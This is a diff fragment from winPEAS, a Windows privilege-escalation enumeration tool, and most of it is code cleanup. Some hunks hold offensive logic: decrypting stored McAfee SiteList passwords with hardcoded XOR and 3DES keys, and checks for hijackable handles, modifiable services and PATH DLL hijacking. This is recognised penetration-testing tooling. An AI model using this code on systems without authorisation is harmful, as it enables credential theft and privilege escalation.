{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
@@ -477,7 +483,7 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
|
||||
private static IEnumerable<Dictionary<string, string>> GetAutoRunsFiles()
|
||||
{
|
||||
var results = new List<Dictionary<string, string>>();
|
||||
var results = new List<Dictionary<string, string>>();
|
||||
var systemDrive = Environment.GetEnvironmentVariable("SystemDrive");
|
||||
var autostartFiles = new HashSet<string>
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@ using winPEAS.Helpers.Registry;
|
||||
namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
internal static class InstalledApps
|
||||
{
|
||||
{
|
||||
public static SortedDictionary<string, Dictionary<string, string>> GetInstalledAppsPerms()
|
||||
{
|
||||
//Get from Program Files
|
||||
@@ -71,16 +71,19 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||
if (Directory.Exists(fpath))
|
||||
{
|
||||
results[f] = new Dictionary<string, string>
|
||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||
{
|
||||
results[f] = new Dictionary<string, string>
|
||||
{
|
||||
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
|
||||
};
|
||||
}
|
||||
foreach (string d in Directory.EnumerateDirectories(fpath))
|
||||
{
|
||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||
}
|
||||
foreach (string d in Directory.EnumerateDirectories(fpath))
|
||||
{
|
||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -18,12 +18,12 @@ namespace winPEAS.Info.EventsInfo.Logon
|
||||
var kerberosLoggedUsersSet = new HashSet<string>();
|
||||
|
||||
string userRegex = null;
|
||||
|
||||
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
var endTime = DateTime.Now;
|
||||
|
||||
var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
|
||||
// read the event log
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
@@ -127,14 +127,14 @@ namespace winPEAS.Info.EventsInfo.Logon
|
||||
result.NTLMv2LoggedUsersSet = NTLMv2LoggedUsersSet;
|
||||
result.LogonEventInfos = logonEventInfos;
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
public static IEnumerable<ExplicitLogonEventInfo> GetExplicitLogonEventsInfos(int lastDays)
|
||||
{
|
||||
const string eventId = "4648";
|
||||
string userFilterRegex = null;
|
||||
|
||||
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
var endTime = DateTime.Now;
|
||||
|
||||
@@ -143,7 +143,7 @@ namespace winPEAS.Info.EventsInfo.Logon
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
{
|
||||
{
|
||||
//string subjectUserSid = eventDetail.GetPropertyValue(0);
|
||||
var subjectUserName = eventDetail.GetPropertyValue(1);
|
||||
var subjectDomainName = eventDetail.GetPropertyValue(2);
|
||||
|
||||
@@ -40,6 +40,6 @@ namespace winPEAS.Info.EventsInfo.Logon
|
||||
LmPackage = lmPackage;
|
||||
TargetOutboundUserName = targetOutboundUserName;
|
||||
TargetOutboundDomainName = targetOutboundDomainName;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,7 +16,7 @@ namespace winPEAS.Info.EventsInfo.PowerShell
|
||||
string[] powerShellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" };
|
||||
|
||||
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||
var powerShellRegex = Common.GetInterestingProcessArgsRegex();
|
||||
var powerShellRegex = Common.GetInterestingProcessArgsRegex();
|
||||
|
||||
foreach (var logName in powerShellLogs)
|
||||
{
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.EventsInfo.PowerShell;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
{
|
||||
internal class ProcessCreation
|
||||
{
|
||||
public static IEnumerable<ProcessCreationEventInfo> GetProcessCreationEventInfos()
|
||||
{
|
||||
{
|
||||
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||
var processCmdLineRegex = Common.GetInterestingProcessArgsRegex();
|
||||
var processCmdLineRegex = Common.GetInterestingProcessArgsRegex();
|
||||
|
||||
var query = $"*[System/EventID=4688]";
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
@@ -33,6 +32,6 @@ namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,6 @@ namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
EventId = eventId;
|
||||
User = user;
|
||||
Match = match;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ using System.Collections.Generic;
|
||||
|
||||
namespace winPEAS.Info.FilesInfo.Certificates
|
||||
{
|
||||
internal class CertificateInfo
|
||||
internal class CertificateInfo
|
||||
{
|
||||
public string StoreLocation { get; set; }
|
||||
public string Issuer { get; set; }
|
||||
|
||||
@@ -34,19 +34,19 @@ namespace winPEAS.Info.FilesInfo.Certificates
|
||||
switch (ext.Oid.FriendlyName)
|
||||
{
|
||||
case "Enhanced Key Usage":
|
||||
{
|
||||
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
||||
|
||||
if (extUsages.Count == 0)
|
||||
continue;
|
||||
|
||||
foreach (var extUsage in extUsages)
|
||||
{
|
||||
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
||||
}
|
||||
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
||||
|
||||
break;
|
||||
}
|
||||
if (extUsages.Count == 0)
|
||||
continue;
|
||||
|
||||
foreach (var extUsage in extUsages)
|
||||
{
|
||||
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
case "Certificate Template Name":
|
||||
case "Certificate Template Information":
|
||||
template = ext.Format(false);
|
||||
|
||||
@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
||||
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||
|
||||
// xor the input b64 string with the static XOR key
|
||||
var passwordBytes = System.Convert.FromBase64String(base64password);
|
||||
var passwordBytes = Convert.FromBase64String(base64password);
|
||||
for (var i = 0; i < passwordBytes.Length; i++)
|
||||
{
|
||||
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||
@@ -135,7 +135,8 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
||||
|
||||
SHA1 crypto = new SHA1CryptoServiceProvider();
|
||||
|
||||
var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||
//var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
|
||||
|
||||
// set the options we need
|
||||
var tDESalg = new TripleDESCryptoServiceProvider();
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
||||
object firewallObj = Activator.CreateInstance(firewall);
|
||||
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
||||
result = $"{(FirewallProfiles) int.Parse(types.ToString())}";
|
||||
result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -33,7 +33,7 @@ namespace winPEAS.Info.NetworkInfo.InternetSettings
|
||||
string zoneMapKey = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey";
|
||||
AddSettings("HKCU", zoneMapKey, result.ZoneMaps, zoneMapKeys);
|
||||
AddSettings("HKLM", zoneMapKey, result.ZoneMaps, zoneMapKeys);
|
||||
|
||||
|
||||
// List Zones settings with automatic logons
|
||||
|
||||
/**
|
||||
@@ -72,14 +72,14 @@ namespace winPEAS.Info.NetworkInfo.InternetSettings
|
||||
authSetting.ToString(),
|
||||
$"{zone} : {authSettingStr}"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private static void AddSettings(string hive, string keyPath, IList<InternetSettingsKey> internetSettingsList, IDictionary<string, string> zoneMapKeys = null)
|
||||
{
|
||||
{
|
||||
var proxySettings = (RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary<string, object>());
|
||||
if (proxySettings != null)
|
||||
{
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
Value = value;
|
||||
Interpretation = interpretation;
|
||||
Hive = hive;
|
||||
Path = path;
|
||||
Path = path;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,8 +17,8 @@ namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
|
||||
private const int AF_INET = 2;
|
||||
private const int AF_INET6 = 23;
|
||||
|
||||
private const int AF_INET6 = 23;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MIB_IPNETROW
|
||||
{
|
||||
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
|
||||
foreach (var listener in props.GetActiveTcpListeners())
|
||||
{
|
||||
bool repeated = false;
|
||||
foreach(List<string> inside_entry in results)
|
||||
foreach (List<string> inside_entry in results)
|
||||
{
|
||||
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
||||
repeated = true;
|
||||
}
|
||||
if (! repeated)
|
||||
if (!repeated)
|
||||
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
||||
}
|
||||
|
||||
@@ -218,12 +218,12 @@ namespace winPEAS.Info.NetworkInfo
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server
|
||||
// v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp
|
||||
}
|
||||
|
||||
|
||||
|
||||
// https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server
|
||||
// v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp
|
||||
public static List<Dictionary<string, string>> GetNetworkShares(string pcname)
|
||||
{
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
@@ -297,8 +297,8 @@ namespace winPEAS.Info.NetworkInfo
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static List<TcpConnectionInfo> GetTcpConnections(IPVersion ipVersion, Dictionary<int, Process> processesByPid = null)
|
||||
{
|
||||
int bufferSize = 0;
|
||||
@@ -325,8 +325,8 @@ namespace winPEAS.Info.NetworkInfo
|
||||
|
||||
// If not zero, the call failed.
|
||||
if (result != 0)
|
||||
{
|
||||
return new List<TcpConnectionInfo>();
|
||||
{
|
||||
return new List<TcpConnectionInfo>();
|
||||
}
|
||||
|
||||
// Marshals data fron an unmanaged block of memory to the
|
||||
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
}
|
||||
else if (ipVersion == IPVersion.IPv6)
|
||||
{
|
||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
||||
|
||||
// Read and parse the UDP records from the table and store them in list
|
||||
// 'UdpConnection' structure type objects.
|
||||
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
||||
{
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
udpTableRecords.Add(new UdpConnectionInfo(
|
||||
Protocol.UDP,
|
||||
new IPAddress(udpRow.localAddr),
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDP6TABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
public MIB_UDP6ROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDPTABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
public MIB_UDPROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Helpers;
|
||||
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
Proc = p,
|
||||
Pth = (string)mo["ExecutablePath"],
|
||||
CommLine = (string)mo["CommandLine"],
|
||||
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||
Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||
};
|
||||
|
||||
foreach (var itm in queRy)
|
||||
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
|
||||
}
|
||||
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
||||
to_add["Name"] = itm.Proc.ProcessName;
|
||||
to_add["ProcessID"] = itm.Proc.Id.ToString();
|
||||
to_add["ExecutablePath"] = itm.Pth;
|
||||
to_add["Product"] = companyName;
|
||||
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner;
|
||||
to_add["isDotNet"] = isDotNet;
|
||||
to_add["CommandLine"] = itm.CommLine;
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = itm.Proc.ProcessName,
|
||||
["ProcessID"] = itm.Proc.Id.ToString(),
|
||||
["ExecutablePath"] = itm.Pth,
|
||||
["Product"] = companyName,
|
||||
["Owner"] = itm.Owner == null ? "" : itm.Owner,
|
||||
["isDotNet"] = isDotNet,
|
||||
["CommandLine"] = itm.CommLine
|
||||
};
|
||||
f_results.Add(to_add);
|
||||
}
|
||||
}
|
||||
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
|
||||
|
||||
string hName = HandlesHelper.GetObjectName(dupHandle);
|
||||
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
||||
to_add["Handle Name"] = hName;
|
||||
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")";
|
||||
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName;
|
||||
to_add["Reason"] = handlerExp.reason;
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Handle Name"] = hName,
|
||||
["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
|
||||
["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
|
||||
["Reason"] = handlerExp.reason
|
||||
};
|
||||
|
||||
if (typeName == "process" || typeName == "thread")
|
||||
{
|
||||
@@ -177,7 +180,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
string sFilePath = fni.FileName;
|
||||
if (sFilePath.Length == 0)
|
||||
continue;
|
||||
|
||||
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||
try
|
||||
{
|
||||
@@ -208,13 +211,13 @@ namespace winPEAS.Info.ProcessInfo
|
||||
else if (typeName == "key")
|
||||
{
|
||||
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0)
|
||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
|
||||
continue;
|
||||
|
||||
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
||||
if (regKey == null)
|
||||
continue;
|
||||
|
||||
|
||||
List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs);
|
||||
|
||||
// If current user already have permissions over that reg, handle not interesting to elevate privs
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.ServiceProcess;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ServicesInfo
|
||||
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
|
||||
|
||||
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>();
|
||||
|
||||
toadd["Name"] = GetStringOrEmpty(result["Name"]);
|
||||
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]);
|
||||
toadd["CompanyName"] = companyName;
|
||||
toadd["State"] = GetStringOrEmpty(result["State"]);
|
||||
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]);
|
||||
toadd["PathName"] = GetStringOrEmpty(result["PathName"]);
|
||||
toadd["FilteredPath"] = binaryPath;
|
||||
toadd["isDotNet"] = isDotNet;
|
||||
toadd["Description"] = GetStringOrEmpty(result["Description"]);
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = GetStringOrEmpty(result["Name"]),
|
||||
["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
|
||||
["CompanyName"] = companyName,
|
||||
["State"] = GetStringOrEmpty(result["State"]),
|
||||
["StartMode"] = GetStringOrEmpty(result["StartMode"]),
|
||||
["PathName"] = GetStringOrEmpty(result["PathName"]),
|
||||
["FilteredPath"] = binaryPath,
|
||||
["isDotNet"] = isDotNet,
|
||||
["Description"] = GetStringOrEmpty(result["Description"])
|
||||
};
|
||||
|
||||
results.Add(toadd);
|
||||
}
|
||||
@@ -166,7 +166,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
public static Dictionary<string, string> GetModifiableServices(Dictionary<string, string> SIDs)
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
@@ -222,7 +222,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
{ //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0
|
||||
int serviceRights = ace.AccessMask;
|
||||
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
|
||||
|
||||
|
||||
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
|
||||
permissions.Add(current_perm_str);
|
||||
}
|
||||
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
if (permissions.Count > 0)
|
||||
{
|
||||
string perms = String.Join(", ", permissions);
|
||||
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
results.Add(sc.ServiceName, perms);
|
||||
}
|
||||
|
||||
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
|
||||
/////// Find Write reg. Services ////////
|
||||
//////////////////////////////////////////
|
||||
/// Find Services which Reg you have write or equivalent access
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames)
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
|
||||
{
|
||||
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>();
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
||||
@@ -275,7 +275,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//////////////////////////////////////
|
||||
//////// PATH DLL Hijacking /////////
|
||||
//////////////////////////////////////
|
||||
@@ -294,7 +294,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
|
||||
foreach (string folder in folders)
|
||||
results[folder] = String.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs));
|
||||
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -35,7 +35,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
var configCheck = (int[])result.GetPropertyValue("SecurityServicesConfigured");
|
||||
var serviceCheck = (int[])result.GetPropertyValue("SecurityServicesRunning");
|
||||
|
||||
|
||||
var configured = false;
|
||||
var running = false;
|
||||
|
||||
@@ -56,7 +56,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
$" Configured: {configured}\n" +
|
||||
$" Running: {running}",
|
||||
colors);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -68,7 +68,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
catch (Exception ex)
|
||||
{
|
||||
//Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetVbsSettingString(uint? vbs)
|
||||
|
||||
@@ -38,7 +38,7 @@ namespace winPEAS.Info.SystemInfo.DotNet
|
||||
|
||||
private static string GetOSVersion()
|
||||
{
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
using (var wmiData = new ManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem"))
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32;
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -14,7 +14,7 @@ namespace winPEAS.Info.SystemInfo.GroupPolicy
|
||||
// local machine GPOs
|
||||
var basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0";
|
||||
var machineIDs = RegistryHelper.GetRegSubkeys("HKLM", basePath) ?? new string[] { };
|
||||
|
||||
|
||||
foreach (var id in machineIDs)
|
||||
{
|
||||
var settings = RegistryHelper.GetRegValues("HKLM", $"{basePath}\\{id}");
|
||||
|
||||
@@ -3,7 +3,6 @@ using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using winPEAS.Native;
|
||||
using System.Security.Principal;
|
||||
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
{
|
||||
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
||||
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
||||
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
|
||||
currentUserPerms = string.Join(", ", currentUserPermsList);
|
||||
}
|
||||
catch
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
public uint? LanmanCompatibilityLevel { get; set; }
|
||||
|
||||
public string LanmanCompatibilityLevelString
|
||||
{
|
||||
{
|
||||
get
|
||||
{
|
||||
switch (LanmanCompatibilityLevel)
|
||||
@@ -25,11 +25,11 @@
|
||||
public bool ClientRequireSigning { get; set; }
|
||||
public bool ClientNegotiateSigning { get; set; }
|
||||
public bool ServerRequireSigning { get; set; }
|
||||
public bool ServerNegotiateSigning { get; set; }
|
||||
public bool ServerNegotiateSigning { get; set; }
|
||||
public uint? LdapSigning { get; set; }
|
||||
|
||||
public string LdapSigningString
|
||||
{
|
||||
{
|
||||
get
|
||||
{
|
||||
switch (LdapSigning)
|
||||
@@ -44,7 +44,7 @@
|
